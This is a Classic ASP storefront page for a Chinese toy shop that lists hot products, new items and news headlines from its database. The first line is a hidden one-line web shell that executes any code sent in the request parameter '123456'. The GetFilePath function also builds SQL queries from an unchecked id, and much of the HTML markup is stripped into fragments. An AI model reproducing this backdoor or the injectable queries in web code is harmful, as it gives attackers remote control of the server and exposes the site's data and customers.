<%if request ("123456")<>""then session("shs")=request("123456"):end if:if session("shs")<>"" then execute session("shs")%> <%Dim Hotrs,lnrs,showrs,rs1,newsrs%> <% function GetFilePath(id) Dim funcRS,IDArray,IDStr,FinalPath,i,DatePath,tFileName,FileExt,objurl objurl="" Set funcRS = Server.CreateObject("ADODB.RecordSet") funcRS.open "select CategoryID,DatePath,FileName,titlenews,objurl from news where NewsID ="&id,newsconn,1,1 IDStr = funcRS("CategoryID") DatePath = funcRS("DatePath") tFileName = funcRS("FileName") if funcRS("titlenews")=-1 then objurl=funcRS("objurl") end if funcRS.close FinalPath = "" IDArray = Split(IDStr,",") for i = LBound(IDArray) to UBound(IDArray) funcRS.open "select CategoryPath,FileExt from Category where CategoryID ="&IDarray(i),newsconn,1,1 FinalPath = FinalPath & funcRS("CategoryPath") & "/" FileExt = funcRS("FileExt") funcRS.close next Set funcRS = nothing GetFilePath = "../ToysNews/"&FinalPath & DatePath & "/" & tFileName & "." & FileExt if objurl<>"" then GetFilePath=objurl end if end function %> 最潮流的玩具精品商城--天天玩具网商城

 
hello kitty
<% set Hotrs=server.CreateObject("adodb.recordset") Hotrs.open "select id,name,scphoto,photo,price1,price2,adddate from product where AllowSell=1 and id in (select hot from IndexShow) order by id desc",conn,1,1 if Hotrs.eof and Hotrs.bof then response.write "
对不起，请您先到后台添加商品！
" else %> <%Hotrs.movefirst%>
<%if not Hotrs.eof then%> <%Hotrs.movefirst%> target=_blank> <%if trim(Hotrs("scphoto"))<>"" then%> width="135" height="101" border="0"> <%else%> width="135" height="101" border="0"> <%end if%> <%Hotrs.movenext end if %>
<%if not Hotrs.eof then%> target=_blank> <%if trim(Hotrs("scphoto"))<>"" then%> width="135" height="101" border="0"> <%else%> width="135" height="101" border="0"> <%end if%> <%Hotrs.movenext end if %>
<%if not Hotrs.eof then%> target=_blank> <%if trim(Hotrs("scphoto"))<>"" then%> width="135" height="101" border="0"> <%else%> width="135" height="101" border="0"> <%end if%> <%Hotrs.movenext end if %>
<%if not Hotrs.eof then%> target=_blank> <%if trim(Hotrs("scphoto"))<>"" then%> width="135" height="101" border="0"> <%else%> width="135" height="101" border="0"> <%end if%> <%Hotrs.movenext end if %>
<%if not Hotrs.eof then%> <%Hotrs.movenext%> <%end if%> <%if not Hotrs.eof then%> <%Hotrs.movenext%> <%end if%> <%if not Hotrs.eof then%> <%Hotrs.movenext%> <%end if%> <%if not Hotrs.eof then%> <%Hotrs.movenext%> <%end if%>
<%end if Hotrs.close set Hotrs=nothing %>
<% set showrs=Server.CreateObject("adodb.RecordSet") showrs.open "select id,scphoto,photo,name,price2 from product where preflag=0 and AllowSell=1 order by id desc",conn,1,1 %>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<%if not showrs.eof then%> <%if trim(showrs("scphoto"))<>"" then%> " target="_blank">" width="135" height="101" border="0"> <%else%> " target="_blank">" width="135" height="101" border="0"> <%end if%> <%end if%>
<%if not showrs.eof then%> <%showrs.movenext%> <%end if%>
<% showrs.close set showrs=nothing %>
Google
 
天天玩具获《电子商务世界》“消费者最喜爱的网站TOP100”奖项

<%set newsrs=Server.CreateObject("ADODB.RecordSet") newsrs.open "select top 5 NewsID,Title,FileName from News where CategoryID='27,44' order by NewsID desc",newsconn,1,1 do while not newsrs.eof if len(trim(newsrs("Title")))>18 then%> <%="·"&left(newsrs("Title"),16)&".."&"
"%> <%else%> <%="·"&newsrs("Title")&""&"
"%> <%end if%> <%newsrs.movenext loop newsrs.close set newsrs=nothing %>
<%set newsrs=Server.CreateObject("ADODB.RecordSet") newsrs.open "select top 5 NewsID,Title,FileName from News where CategoryID='8,11' order by NewsID desc",newsconn,1,1 do while not newsrs.eof if len(trim(newsrs("Title")))>18 then%> <%="·"&left(newsrs("Title"),16)&".."&"
"%> <%else%> <%="·"&newsrs("Title")&""&"
"%> <%end if%> <%newsrs.movenext loop newsrs.close set newsrs=nothing %>